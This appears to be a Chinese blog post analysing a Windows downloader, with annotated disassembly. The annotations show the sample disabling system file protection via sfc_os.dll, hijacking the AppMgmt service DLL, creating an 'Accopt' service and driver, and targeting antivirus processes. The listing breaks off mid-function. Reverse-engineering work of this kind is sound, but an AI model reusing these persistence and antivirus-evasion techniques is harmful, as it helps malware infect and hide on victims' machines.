sunflychina
sunflychina

下载者DownLoader.Win32.Undef分析

DownLoader.Win32.Undef
下载者分析：
分析日期：2010.1.25

  1. 004018FE http_>/$>push ebp
  2. 004018FF       |.>mov ebp, esp
  3. 00401901       |.>sub esp, 24
  4. 00401904       |.>and [local.9], 0
  5. 00401908       |.>and [local.8], 0
  6. 0040190C       |.>push eax
  7. 0040190D       |.>call 00401912
  8. 00401912       |$>mov eax, dword ptr [esp]
  9. 00401915       |.>mov [local.8], eax
  10. 00401918       |.>pop eax
  11. 00401919       |.>push 1C                              ; /n = 1C (28.)
  12. 0040191B       |.>push 0                               ; |c = 00
  13. 0040191D       |.>lea eax, [local.7]                   ; |
  14. 00401920       |.>push eax                             ; |s
  15. 00401921       |.>call             ; /memset                     设置缓冲区指定的字符
  16. 00401926       |.>add esp, 0C
  17. 00401929       |.>push 1C                              ; /BufSize = 1C (28.)
  18. 0040192B       |.>lea eax, [local.7]                   ; |
  19. 0040192E       |.>push eax                             ; |Buffer
  20. 0040192F       |.>push [local.8]                       ; |Address
  21. 00401932       |.>call dword ptr [<&KERNEL32.VirtualQu>; /VirtualQuery
  22. 00401938       |.>mov eax, [local.6]
  23. 0040193B       |.>mov dword ptr [407574], eax
  24. 00401940       |.>push 0                               ; /pModule = NULL
  25. 00401942       |.>call dword ptr [<&KERNEL32.GetModule>; /GetModuleHandleA 获取模块句柄
  26. 00401948       |.>cmp eax, dword ptr [407574]                        比较模块基址和3C0000h,用于判断自身是exe还是dll文件
  27. 0040194E       |.>jnz short 00401966                                是exe往下执行call 1，是dll跳转到00401966地址 执行call 2
  28. 00401950       |.>push [arg.4]
  29. 00401953       |.>push [arg.3]
  30. 00401956       |.>push [arg.2]
  31. 00401959       |.>push [arg.1]
  32. 0040195C       |.>call 00401DC4                                关键call 1，作用：创建C:/IOSYS.ini配置文件,加载sfc.dll,获得去除文件保护属性的导出函数地址，感染C:/WINDOWS/system32/appmgmts.dll，qmgr.dll
  33. 00401961       |.>mov [local.9], eax
  34. 00401964       |.>jmp short 00401977
  35. 00401966       |>>push [arg.3]
  36. 00401969       |.>push [arg.2]
  37. 0040196C       |.>push [arg.1]
  38. 0040196F       |.>call 00404295                                关键call 2,
  39. 00401974       |.>mov [local.9], eax
  40. 00401977       |>>mov eax, [local.9]
  41. 0040197A       |.>leave
  42. 0040197B       /.>retn 10
复制代码

进入关键call 1，代码如下：

  1. 00401DC4        $>push ebp
  2. 00401DC5        .>mov ebp, esp
  3. 00401DC7        .>sub esp, 0C18
  4. 00401DCD        .>and dword ptr [ebp-764], 0
  5. 00401DD4        .>and dword ptr [ebp-8], 0
  6. 00401DD8        .>and dword ptr [ebp-124], 0
  7. 00401DDF        .>and dword ptr [ebp-14], 0
  8. 00401DE3        .>and dword ptr [ebp-654], 0
  9. 00401DEA        .>and dword ptr [ebp-4], 0
  10. 00401DEE        .>and dword ptr [ebp-128], 0
  11. 00401DF5        .>mov eax, dword ptr [<&USER32.wsprint>
  12. 00401DFA        .>mov dword ptr [ebp-C], eax
  13. 00401DFD        .>call dword ptr [<&USER32.GetInputSta>; [GetInputState
  14. 00401E03        .>push 0                               ; /lParam = 0
  15. 00401E05        .>push 0                               ; |wParam = 0
  16. 00401E07        .>push 0                               ; |Message = WM_NULL
  17. 00401E09        .>call dword ptr [<&KERNEL32.GetCurren>; |[GetCurrentThreadId
  18. 00401E0F        .>push eax                             ; |ThreadId
  19. 00401E10        .>call dword ptr [<&USER32.PostThreadM>; /PostThreadMessageA
  20. 00401E16        .>push 0                               ; /MsgFilterMax = 0
  21. 00401E18        .>push 0                               ; |MsgFilterMin = 0
  22. 00401E1A        .>push 0                               ; |hWnd = NULL
  23. 00401E1C        .>lea eax, dword ptr [ebp-24C]         ; |
  24. 00401E22        .>push eax                             ; |pMsg
  25. 00401E23        .>call dword ptr [<&USER32.GetMessageA>; /GetMessageA
  26. 00401E29        .>push 0040757C
  27. 00401E2E        .>push 00407578
  28. 00401E33        .>push 0
  29. 00401E35        .>call 0040197E
  30. 00401E3A        .>push 104                             ; /BufSize = 104 (260.)
  31. 00401E3F        .>lea eax, dword ptr [ebp-230]         ; |
  32. 00401E45        .>push eax                             ; |Buffer
  33. 00401E46        .>call dword ptr [<&KERNEL32.GetWindow>; /GetWindowsDirectoryA
  34. 00401E4C        .>push 104                             ; /n = 104 (260.)
  35. 00401E51        .>push 0                               ; |c = 00
  36. 00401E53        .>lea eax, dword ptr [ebp-120]         ; |
  37. 00401E59        .>push eax                             ; |s
  38. 00401E5A        .>call             ; /memset
  39. 00401E5F        .>add esp, 0C
  40. 00401E62        .>lea eax, dword ptr [ebp-120]
  41. 00401E68        .>push eax                             ; /Buffer
  42. 00401E69        .>push 104                             ; |BufSize = 104 (260.)
  43. 00401E6E        .>call dword ptr [<&KERNEL32.GetTempPa>; /GetTempPathA
  44. 00401E74        .>push 0F003F
  45. 00401E79        .>push 0
  46. 00401E7B        .>push 0
  47. 00401E7D        .>call dword ptr [<&ADVAPI32.OpenSCMan>;  advapi32.OpenSCManagerA
  48. 00401E83        .>mov dword ptr [ebp-4], eax
  49. 00401E86        .>push 0040536C                        ; /sfc_os.dll
  50. 00401E8B        .>call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA    加载sfc.dll
  51. 00401E91        .>mov dword ptr [ebp-654], eax
  52. 00401E97        .>cmp dword ptr [ebp-654], 0
  53. 00401E9E        .>jnz short 00401EAA
  54. 00401EA0        .>jmp 004020C8
  55. 00401EA5        .>jmp 004020C8
  56. 00401EAA        >>push 5                               ; /ProcNameOrOrdinal = #5
  57. 00401EAC        .>push dword ptr [ebp-654]             ; |hModule
  58. 00401EB2        .>call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress                获得去除文件保护属性的#5函数地址
  59. 00401EB8        .>mov dword ptr [407580], eax
  60. 00401EBD        .>and dword ptr [ebp-768], 0
  61. 00401EC4        .>and dword ptr [ebp-B6C], 0
  62. 00401ECB        .>jmp short 00401EDA
  63. 00401ECD        >>mov eax, dword ptr [ebp-B6C]
  64. 00401ED3        .>inc eax
  65. 00401ED4        .>mov dword ptr [ebp-B6C], eax
  66. 00401EDA        >>cmp dword ptr [ebp-B6C], 12
  67. 00401EE1        .>jge 004020C8
  68. 00401EE7        .>push dword ptr [ebp-B6C]
  69. 00401EED        .>push 0
  70. 00401EEF        .>push 40
  71. 00401EF1        .>lea eax, dword ptr [ebp-BB0]
  72. 00401EF7        .>push eax
  73. 00401EF8        .>call 004017AC                          //解密一些可以替换的服务名
  74. 00401EFD        .>push dword ptr [ebp-B6C]
  75. 00401F03        .>push 1
  76. 00401F05        .>push 40
  77. 00401F07        .>lea eax, dword ptr [ebp-BF0]
  78. 00401F0D        .>push eax
  79. 00401F0E        .>call 004017AC                              //解密可以替换的服务对应的组件文件名                  
  80. 00401F13        .>push 0F01FF
  81. 00401F18        .>lea eax, dword ptr [ebp-BB0]
  82. 00401F1E        .>push eax
  83. 00401F1F        .>push dword ptr [ebp-4]
  84. 00401F22        .>call dword ptr [<&ADVAPI32.OpenServi>;  advapi32.OpenServiceA
  85. 00401F28        .>mov dword ptr [ebp-128], eax
  86. 00401F2E        .>cmp dword ptr [ebp-128], 0
  87. 00401F35        .>jnz short 00401F39
  88. 00401F37        .>jmp short 00401ECD                                //打开服务打开后返回上面选择下一个服务
  89. 00401F39        >>lea eax, dword ptr [ebp-C0C]
  90. 00401F3F        .>push eax
  91. 00401F40        .>push dword ptr [ebp-128]
  92. 00401F46        .>call dword ptr [<&ADVAPI32.QueryServ>;  advapi32.QueryServiceStatus                查找名为"AppMgmt"的服务，若找到，检查服务状态，如果该服务已启动，将其终止。
  93. 00401F4C        .>cmp dword ptr [ebp-C08], 1
  94. 00401F53        .>je short 00401F8B
  95. 00401F55        .>cmp dword ptr [ebp-768], 0
  96. 00401F5C        .>jnz short 00401F68
  97. 00401F5E        .>jmp 0040207E                                 //当服务状态查询返回失败的时候，跳至0040207E
  98. 00401F63        .>jmp 0040207E
  99. 00401F68        >>lea eax, dword ptr [ebp-C0C]
  100. 00401F6E        .>push eax
  101. 00401F6F        .>push 1
  102. 00401F71        .>push dword ptr [ebp-128]
  103. 00401F77        .>call dword ptr [<&ADVAPI32.ControlSe>;  advapi32.ControlService
  104. 00401F7D        .>test eax, eax
  105. 00401F7F        .>jnz short 00401F8B
  106. 00401F81        .>jmp 0040207E
  107. 00401F86        .>jmp 0040207E
  108. 00401F8B        >>push 104                             ; /n = 104 (260.)
  109. 00401F90        .>push 0                               ; |c = 00
  110. 00401F92        .>lea eax, dword ptr [ebp-760]         ; |
  111. 00401F98        .>push eax                             ; |s
  112. 00401F99        .>call             ; /memset
  113. 00401F9E        .>add esp, 0C
  114. 00401FA1        .>cmp dword ptr [ebp-764], 0
  115. 00401FA8        .>jnz short 00401FD4
  116. 00401FAA        .>push 00405378                        ; /.dll
  117. 00401FAF        .>lea eax, dword ptr [ebp-BF0]         ; |
  118. 00401FB5        .>push eax                             ; |<%s>
  119. 00401FB6        .>lea eax, dword ptr [ebp-230]         ; |
  120. 00401FBC        .>push eax                             ; |<%s>
  121. 00401FBD        .>push 00405380                        ; |%s/system32/%s%s
  122. 00401FC2        .>lea eax, dword ptr [ebp-760]         ; |
  123. 00401FC8        .>push eax                             ; |s
  124. 00401FC9        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA         连接字符串 C:/WINDOWS/system32/appmgmts.dll
  125. 00401FCF        .>add esp, 14
  126. 00401FD2        .>jmp short 00402009
  127. 00401FD4        >>call 0040176E
  128. 00401FD9        .>push eax                             ; /<%d>
  129. 00401FDA        .>lea eax, dword ptr [ebp-120]         ; |
  130. 00401FE0        .>push eax                             ; |<%s>
  131. 00401FE1        .>push 00405394                        ; |%s%d.dll
  132. 00401FE6        .>lea eax, dword ptr [ebp-760]         ; |
  133. 00401FEC        .>push eax                             ; |s
  134. 00401FED        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA        连接字符串
  135. 00401FF3        .>add esp, 10
  136. 00401FF6        .>lea eax, dword ptr [ebp-760]
  137. 00401FFC        .>push eax
  138. 00401FFD        .>lea eax, dword ptr [ebp-BB0]
  139. 00402003        .>push eax
  140. 00402004        .>call 00401B0C
  141. 00402009        >>lea eax, dword ptr [ebp-760]
  142. 0040200F        .>push eax
  143. 00402010        .>call 00401BBD                        ;  检查文件appmgmts.dll是否存在
  144. 00402015        .>test eax, eax
  145. 00402017        .>jnz short 0040201D                        若不存在，则创建C:/System32/appmgmts.dll。若找到appmgmts.dll，则去掉该文件保护属性，释放病毒动态链接库并命名为appmgmts.dll
  146. 00402019        .>jmp short 0040207E                        若被感染就往下跳转
  147. 0040201B        .>jmp short 0040207E
  148. 0040201D        >>push 0
  149. 0040201F        .>push 0
  150. 00402021        .>push dword ptr [ebp-128]               
  151. 00402027        .>call dword ptr [<&ADVAPI32.StartServ>;  advapi32.StartServiceA        启动"AppMgmt"服务，通过该服务加载C:/System32/appmgmts.dll。
  152. 0040202D        .>test eax, eax
  153. 0040202F        .>jnz short 00402035                   ;  
  154. 00402031        .>jmp short 0040207E
  155. 00402033        .>jmp short 0040207E
  156. 00402035        >>push dword ptr [ebp-654]             ; /hLibModule
  157. 0040203B        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  158. 00402041        .>push dword ptr [ebp-128]
  159. 00402047        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  160. 0040204D        .>push dword ptr [ebp-4]
  161. 00402050        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  162. 00402056        .>cmp dword ptr [407578], 0
  163. 0040205D        .>je short 00402076
  164. 0040205F        .>mov eax, dword ptr [407578]
  165. 00402064        .>mov dword ptr [ebp-C10], eax
  166. 0040206A        .>push dword ptr [ebp-C10]
  167. 00402070        .>call
  168. 00402075        .>pop ecx
  169. 00402076        >>push 0                               ; /ExitCode = 0
  170. 00402078        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  171. 0040207E        >>cmp dword ptr [ebp-764], 1
  172. 00402085        .>jnz short 00402094
  173. 00402087        .>lea eax, dword ptr [ebp-760]
  174. 0040208D        .>push eax                             ; /FileName
  175. 0040208E        .>call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  176. 00402094        >>push dword ptr [ebp-128]
  177. 0040209A        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  178. 004020A0        .>cmp dword ptr [ebp-B6C], 11
  179. 004020A7        .>jnz short 004020C3
  180. 004020A9        .>cmp dword ptr [ebp-768], 0
  181. 004020B0        .>jnz short 004020C3
  182. 004020B2        .>mov dword ptr [ebp-768], 1
  183. 004020BC        .>or dword ptr [ebp-B6C], FFFFFFFF
  184. 004020C3        >>jmp 00401ECD                                               //服务状态查询返回失败选择下一个服务
  185. 004020C8        >>lea eax, dword ptr [ebp-10]
  186. 004020CB        .>push eax                             ; /pHandle
  187. 004020CC        .>push 1                               ; |Access = KEY_QUERY_VALUE
  188. 004020CE        .>push 0                               ; |Reserved = 0
  189. 004020D0        .>push 004053A0                        ; |SOFTWARE/Microsoft/Windows NT/CurrentVersion/Svchost
  190. 004020D5        .>push 80000002                        ; |hKey = HKEY_LOCAL_MACHINE
  191. 004020DA        .>call dword ptr [<&ADVAPI32.RegOpenKe>; /RegOpenKeyExA
  192. 004020E0        .>push 400                             ; /n = 400 (1024.)
  193. 004020E5        .>push 0                               ; |c = 00
  194. 004020E7        .>lea eax, dword ptr [ebp-B68]         ; |
  195. 004020ED        .>push eax                             ; |s
  196. 004020EE        .>call             ; /memset
  197. 004020F3        .>add esp, 0C
  198. 004020F6        .>mov dword ptr [ebp-14], 400
  199. 004020FD        .>lea eax, dword ptr [ebp-14]
  200. 00402100        .>push eax                             ; /pBufSize
  201. 00402101        .>lea eax, dword ptr [ebp-B68]         ; |
  202. 00402107        .>push eax                             ; |Buffer
  203. 00402108        .>lea eax, dword ptr [ebp-124]         ; |
  204. 0040210E        .>push eax                             ; |pValueType
  205. 0040210F        .>push 0                               ; |Reserved = NULL
  206. 00402111        .>push 004053D8                        ; |netsvcsvcs%SystemRoot%/System32/svchost.exe -k nets
  207. 00402116        .>push dword ptr [ebp-10]              ; |hKey
  208. 00402119        .>call dword ptr [<&ADVAPI32.RegQueryV>; /RegQueryValueExA
  209. 0040211F        .>push dword ptr [ebp-10]              ; /hKey
  210. 00402122        .>call dword ptr [<&ADVAPI32.RegCloseK>; /RegCloseKey
  211. 00402128        .>lea eax, dword ptr [ebp-B68]
  212. 0040212E        .>mov dword ptr [ebp-8], eax
  213. 00402131        >>mov eax, dword ptr [ebp-8]
  214. 00402134        .>movsx eax, byte ptr [eax]
  215. 00402137        .>test eax, eax
  216. 00402139        .>je 004022AF
  217. 0040213F        .>push 400                             ; /n = 400 (1024.)
  218. 00402144        .>push 0                               ; |c = 00
  219. 00402146        .>lea eax, dword ptr [ebp-650]         ; |
  220. 0040214C        .>push eax                             ; |s
  221. 0040214D        .>call             ; /memset
  222. 00402152        .>add esp, 0C
  223. 00402155        .>push 004053E0                        ;  vcs%SystemRoot%/System32/svchost.exe -k nets
  224. 0040215A        .>push 004053E4                        ;  %SystemRoot%/System32/svchost.exe -k nets
  225. 0040215F        .>push 00405410                        ;  %s%s
  226. 00402164        .>lea eax, dword ptr [ebp-650]
  227. 0040216A        .>push eax
  228. 0040216B        .>call dword ptr [ebp-C]
  229. 0040216E        .>add esp, 10
  230. 00402171        .>push 0                               ; /Password = NULL
  231. 00402173        .>push 0                               ; |ServiceStartName = NULL
  232. 00402175        .>push 0                               ; |pDependencies = NULL
  233. 00402177        .>push 0                               ; |pTagId = NULL
  234. 00402179        .>push 0                               ; |LoadOrderGroup = NULL
  235. 0040217B        .>lea eax, dword ptr [ebp-650]         ; |
  236. 00402181        .>push eax                             ; |BinaryPathName
  237. 00402182        .>push 1                               ; |ErrorControl = SERVICE_ERROR_NORMAL
  238. 00402184        .>push 2                               ; |StartType = SERVICE_AUTO_START
  239. 00402186        .>push 20                              ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS
  240. 00402188        .>push 10                              ; |DesiredAccess = SERVICE_START
  241. 0040218A        .>push dword ptr [ebp-8]               ; |DisplayName
  242. 0040218D        .>push dword ptr [ebp-8]               ; |ServiceName
  243. 00402190        .>push dword ptr [ebp-4]               ; |hManager
  244. 00402193        .>call dword ptr [<&ADVAPI32.CreateSer>; /CreateServiceA
  245. 00402199        .>mov dword ptr [ebp-128], eax
  246. 0040219F        .>cmp dword ptr [ebp-128], 0
  247. 004021A6        .>je 00402281
  248. 004021AC        .>cmp dword ptr [ebp-764], 0
  249. 004021B3        .>jnz short 004021DB
  250. 004021B5        .>push 00405378                        ; /.dll
  251. 004021BA        .>push dword ptr [ebp-8]               ; |<%s>
  252. 004021BD        .>lea eax, dword ptr [ebp-230]         ; |
  253. 004021C3        .>push eax                             ; |<%s>
  254. 004021C4        .>push 00405380                        ; |%s/system32/%s%s
  255. 004021C9        .>lea eax, dword ptr [ebp-760]         ; |
  256. 004021CF        .>push eax                             ; |s
  257. 004021D0        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  258. 004021D6        .>add esp, 14
  259. 004021D9        .>jmp short 004021FD
  260. 004021DB        >>call 0040176E
  261. 004021E0        .>push eax                             ; /<%d>
  262. 004021E1        .>lea eax, dword ptr [ebp-120]         ; |
  263. 004021E7        .>push eax                             ; |<%s>
  264. 004021E8        .>push 00405394                        ; |%s%d.dll
  265. 004021ED        .>lea eax, dword ptr [ebp-760]         ; |
  266. 004021F3        .>push eax                             ; |s
  267. 004021F4        .>call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  268. 004021FA        .>add esp, 10
  269. 004021FD        >>lea eax, dword ptr [ebp-760]
  270. 00402203        .>push eax
  271. 00402204        .>push dword ptr [ebp-8]
  272. 00402207        .>call 00401B0C
  273. 0040220C        .>lea eax, dword ptr [ebp-760]
  274. 00402212        .>push eax
  275. 00402213        .>call 00401BBD
  276. 00402218        .>test eax, eax
  277. 0040221A        .>jnz short 00402220
  278. 0040221C        .>jmp short 00402281
  279. 0040221E        .>jmp short 00402281
  280. 00402220        >>push 0
  281. 00402222        .>push 0
  282. 00402224        .>push dword ptr [ebp-128]
  283. 0040222A        .>call dword ptr [<&ADVAPI32.StartServ>;  advapi32.StartServiceA
  284. 00402230        .>test eax, eax
  285. 00402232        .>jnz short 00402238
  286. 00402234        .>jmp short 00402281
  287. 00402236        .>jmp short 00402281
  288. 00402238        >>push dword ptr [ebp-654]             ; /hLibModule
  289. 0040223E        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  290. 00402244        .>push dword ptr [ebp-128]
  291. 0040224A        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  292. 00402250        .>push dword ptr [ebp-4]
  293. 00402253        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  294. 00402259        .>cmp dword ptr [407578], 0
  295. 00402260        .>je short 00402279
  296. 00402262        .>mov eax, dword ptr [407578]
  297. 00402267        .>mov dword ptr [ebp-C14], eax
  298. 0040226D        .>push dword ptr [ebp-C14]
  299. 00402273        .>call
  300. 00402278        .>pop ecx
  301. 00402279        >>push 0                               ; /ExitCode = 0
  302. 0040227B        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  303. 00402281        >>cmp dword ptr [ebp-764], 1
  304. 00402288        .>jnz short 00402297
  305. 0040228A        .>lea eax, dword ptr [ebp-760]
  306. 00402290        .>push eax                             ; /FileName
  307. 00402291        .>call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  308. 00402297        >>push dword ptr [ebp-8]               ; /String
  309. 0040229A        .>call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  310. 004022A0        .>mov ecx, dword ptr [ebp-8]
  311. 004022A3        .>lea eax, dword ptr [ecx+eax+1]
  312. 004022A7        .>mov dword ptr [ebp-8], eax
  313. 004022AA        .>jmp 00402131
  314. 004022AF        >>push dword ptr [ebp-654]             ; /hLibModule
  315. 004022B5        .>call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  316. 004022BB        .>push dword ptr [ebp-4]
  317. 004022BE        .>call dword ptr [<&ADVAPI32.CloseServ>;  advapi32.CloseServiceHandle
  318. 004022C4        .>cmp dword ptr [407578], 0
  319. 004022CB        .>je short 004022E4
  320. 004022CD        .>mov eax, dword ptr [407578]
  321. 004022D2        .>mov dword ptr [ebp-C18], eax
  322. 004022D8        .>push dword ptr [ebp-C18]
  323. 004022DE        .>call
  324. 004022E3        .>pop ecx
  325. 004022E4        >>push 0                               ; /ExitCode = 0
  326. 004022E6        .>call dword ptr [<&KERNEL32.ExitProce>; /ExitProcess
  327. 004022EC        .>leave
  328. 004022ED        .>retn 10
复制代码

进入关键call 2，代码如下：

  1. 003C4295       /$  5>push ebp
  2. 003C4296       |.  8>mov ebp, esp
  3. 003C4298       |.  8>cmp [arg.2], 1
  4. 003C429C       |.  7>jnz short 003C42B3
  5. 003C429E       |.  6>push 0                               ; /pThreadId = NULL
  6. 003C42A0       |.  6>push 0                               ; |CreationFlags = 0
  7. 003C42A2       |.  6>push 0                               ; |pThreadParm = NULL
  8. 003C42A4       |.  6>push 003C43D1                        ; |ThreadFunction = appmgmts.003C43D1               
  9. 003C42A9       |.  6>push 0                               ; |StackSize = 0
  10. 003C42AB       |.  6>push 0                               ; |pSecurity = NULL
  11. 003C42AD       |.  F>call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                创建一个线程1
  12. 003C42B3       |>  3>xor eax, eax
  13. 003C42B5       |.  4>inc eax
  14. 003C42B6       |.  5>pop ebp
  15. 003C42B7       /.  C>retn 0C
复制代码

进入线程 1，代码如下：

  1. 003C43D1        >push ebp
  2. 003C43D2        >mov ebp, esp
  3. 003C43D4        >mov eax, 1DA0
  4. 003C43D9        >call 003C4920
  5. 003C43DE        >and dword ptr [ebp-18], 0
  6. 003C43E2        >and dword ptr [ebp-8], 0
  7. 003C43E6        >and dword ptr [ebp-14], 0
  8. 003C43EA        >and dword ptr [ebp-1C], 0
  9. 003C43EE        >and dword ptr [ebp-20], 0
  10. 003C43F2        >or dword ptr [ebp-10], FFFFFFFF
  11. 003C43F6        >and dword ptr [ebp-4], 0
  12. 003C43FA        >mov eax, dword ptr [<&USER32.wsprint>
  13. 003C43FF        >mov dword ptr [ebp-C], eax
  14. 003C4402        >mov eax, dword ptr [<&SHLWAPI.SHDele>
  15. 003C4407        >mov dword ptr [ebp-930], eax
  16. 003C440D        >mov eax, dword ptr [<&KERNEL32.Sleep>
  17. 003C4412        >mov dword ptr [ebp-92C], eax
  18. 003C4418        >push 0
  19. 003C441A        >call 003C1550                                打开配置文件C:/IOSYS.ini
  20. 003C441F        >mov dword ptr [3C7588], eax
  21. 003C4424        >push 003C564C                        ;  ASCII "avp.exe"
  22. 003C4429        >call 003C1000                                关闭遍历进程杀毒软件       
  23. 003C442E        >test eax, eax
  24. 003C4430        >jnz short 003C4440
  25. 003C4432        >push 003C5654                        ;  ASCII "bdagent.exe"
  26. 003C4437        >call 003C1000                                关闭遍历进程杀毒软件
  27. 003C443C        >test eax, eax
  28. 003C443E        >je short 003C4445
  29. 003C4440        >call 003C133B
  30. 003C4445        >push 0
  31. 003C4447        >push dword ptr [3C600C]
  32. 003C444D        >push 800
  33. 003C4452        >push 003C6350                               
  34. 003C4457        >call 003C1680                                解密字符函数，这里解密出KVMonXP.kxp               
  35. 003C445C        >push 104                             ; /n = 104 (260.)
  36. 003C4461        >push 0                               ; |c = 00
  37. 003C4463        >push 003C7368                        ; |s = appmgmts.003C7368
  38. 003C4468        >call             ; /memset
  39. 003C446D        >add esp, 0C
  40. 003C4470        >push 003C7368                        ; /Buffer = appmgmts.003C7368
  41. 003C4475        >push 104                             ; |BufSize = 104 (260.)
  42. 003C447A        >call dword ptr [<&KERNEL32.GetTempPa>; /GetTempPathA
  43. 003C4480        >push 104                             ; /n = 104 (260.)
  44. 003C4485        >push 0                               ; |c = 00
  45. 003C4487        >push 003C7470                        ; |s = appmgmts.003C7470
  46. 003C448C        >call             ; /memset
  47. 003C4491        >add esp, 0C
  48. 003C4494        >push 104                             ; /BufSize = 104 (260.)
  49. 003C4499        >push 003C7470                        ; |Buffer = appmgmts.003C7470
  50. 003C449E        >call dword ptr [<&KERNEL32.GetSystem>; /GetSystemDirectoryA
  51. 003C44A4        >push 104                             ; /n = 104 (260.)
  52. 003C44A9        >push 0                               ; |c = 00
  53. 003C44AB        >lea eax, dword ptr [ebp-B40]         ; |
  54. 003C44B1        >push eax                             ; |s
  55. 003C44B2        >call             ; /memset
  56. 003C44B7        >add esp, 0C
  57. 003C44BA        >push 003C5660                        ;  ASCII "Accopt.sys"
  58. 003C44BF        >push 003C7368
  59. 003C44C4        >push 003C5410                        ;  ASCII "%s%s"
  60. 003C44C9        >lea eax, dword ptr [ebp-B40]
  61. 003C44CF        >push eax
  62. 003C44D0        >call dword ptr [ebp-C]                        字符连接函数
  63. 003C44D3        >add esp, 10
  64. 003C44D6        >push 80
  65. 003C44DB        >push 65
  66. 003C44DD        >push dword ptr [3C7574]              ;  appmgmts.003C0000
  67. 003C44E3        >lea eax, dword ptr [ebp-B40]
  68. 003C44E9        >push eax
  69. 003C44EA        >call 003C13FE                                获取自身资源信息
  70. 003C44EF        >lea eax, dword ptr [ebp-B40]
  71. 003C44F5        >push eax
  72. 003C44F6        >call 003C4361                                创建一个名为Accopt的服务
  73. 003C44FB        >push 400                             ; /n = 400 (1024.)
  74. 003C4500        >push 0                               ; |c = 00
  75. 003C4502        >lea eax, dword ptr [ebp-F40]         ; |
  76. 003C4508        >push eax                             ; |s
  77. 003C4509        >call             ; /memset
  78. 003C450E        >add esp, 0C
  79. 003C4511        >push 003C5644                        ; /<%s> = "Accopt"
  80. 003C4516        >push dword ptr [3C6004]              ; |<%s> = "SYSTEM/CurrentControlSet/Services"
  81. 003C451C        >push 003C534C                        ; |Format = "%s/%s"
  82. 003C4521        >lea eax, dword ptr [ebp-F40]         ; |
  83. 003C4527        >push eax                             ; |s
  84. 003C4528        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  85. 003C452E        >add esp, 10
  86. 003C4531        >lea eax, dword ptr [ebp-F40]
  87. 003C4537        >push eax
  88. 003C4538        >push 80000002
  89. 003C453D        >call dword ptr [ebp-930]                SHDeleteKey
  90. 003C4543        >lea eax, dword ptr [ebp-B40]
  91. 003C4549        >push eax                             ; /FileName
  92. 003C454A        >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA        删除驱动Accopt.sys文件
  93. 003C4550        >push 104                             ; /BufSize = 104 (260.)
  94. 003C4555        >lea eax, dword ptr [ebp-A38]         ; |
  95. 003C455B        >push eax                             ; |PathBuffer
  96. 003C455C        >push dword ptr [3C7574]              ; |hModule = 003C0000 (appmgmts)
  97. 003C4562        >call dword ptr [<&KERNEL32.GetModule>; /GetModuleFileNameA
  98. 003C4568        >push 5C                              ; /c = 5C  ('/')
  99. 003C456A        >lea eax, dword ptr [ebp-A38]         ; |
  100. 003C4570        >push eax                             ; |s
  101. 003C4571        >call dword ptr [<&MSVCRT.strrchr>]   ; /strrchr
  102. 003C4577        >pop ecx
  103. 003C4578        >pop ecx
  104. 003C4579        >inc eax
  105. 003C457A        >push eax                             ; /String2
  106. 003C457B        >lea eax, dword ptr [ebp-928]         ; |
  107. 003C4581        >push eax                             ; |String1
  108. 003C4582        >call dword ptr [<&KERNEL32.lstrcpyA>>; /lstrcpyA
  109. 003C4588        >push 2E                              ; /c = 2E  ('.')
  110. 003C458A        >lea eax, dword ptr [ebp-928]         ; |
  111. 003C4590        >push eax                             ; |s
  112. 003C4591        >call dword ptr [<&MSVCRT.strrchr>]   ; /strrchr
  113. 003C4597        >pop ecx
  114. 003C4598        >pop ecx
  115. 003C4599        >and dword ptr [eax], 0
  116. 003C459C        >and dword ptr [ebp-F44], 0
  117. 003C45A3        >jmp short 003C45B2
  118. 003C45A5        >mov eax, dword ptr [ebp-F44]
  119. 003C45AB        >inc eax
  120. 003C45AC        >mov dword ptr [ebp-F44], eax
  121. 003C45B2        >cmp dword ptr [ebp-F44], 12
  122. 003C45B9        >jge 003C4687
  123. 003C45BF        >push dword ptr [ebp-F44]
  124. 003C45C5        >push 0
  125. 003C45C7        >push 40
  126. 003C45C9        >lea eax, dword ptr [ebp-F88]
  127. 003C45CF        >push eax
  128. 003C45D0        >call 003C17AC
  129. 003C45D5        >push dword ptr [ebp-F44]
  130. 003C45DB        >push 1
  131. 003C45DD        >push 40
  132. 003C45DF        >lea eax, dword ptr [ebp-FC8]
  133. 003C45E5        >push eax
  134. 003C45E6        >call 003C17AC
  135. 003C45EB        >lea eax, dword ptr [ebp-FC8]
  136. 003C45F1        >push eax                             ; /String2
  137. 003C45F2        >lea eax, dword ptr [ebp-928]         ; |
  138. 003C45F8        >push eax                             ; |String1
  139. 003C45F9        >call dword ptr [<&KERNEL32.lstrcmpiA>; /lstrcmpiA
  140. 003C45FF        >test eax, eax
  141. 003C4601        >jnz short 003C4682
  142. 003C4603        >and dword ptr [ebp-FCC], 0
  143. 003C460A        >mov dword ptr [ebp-FD0], 2
  144. 003C4614        >lea eax, dword ptr [ebp-F88]
  145. 003C461A        >push eax                             ; /<%s>
  146. 003C461B        >push dword ptr [3C6004]              ; |<%s> = "SYSTEM/CurrentControlSet/Services"
  147. 003C4621        >push 003C534C                        ; |Format = "%s/%s"
  148. 003C4626        >lea eax, dword ptr [ebp-13D0]        ; |
  149. 003C462C        >push eax                             ; |s
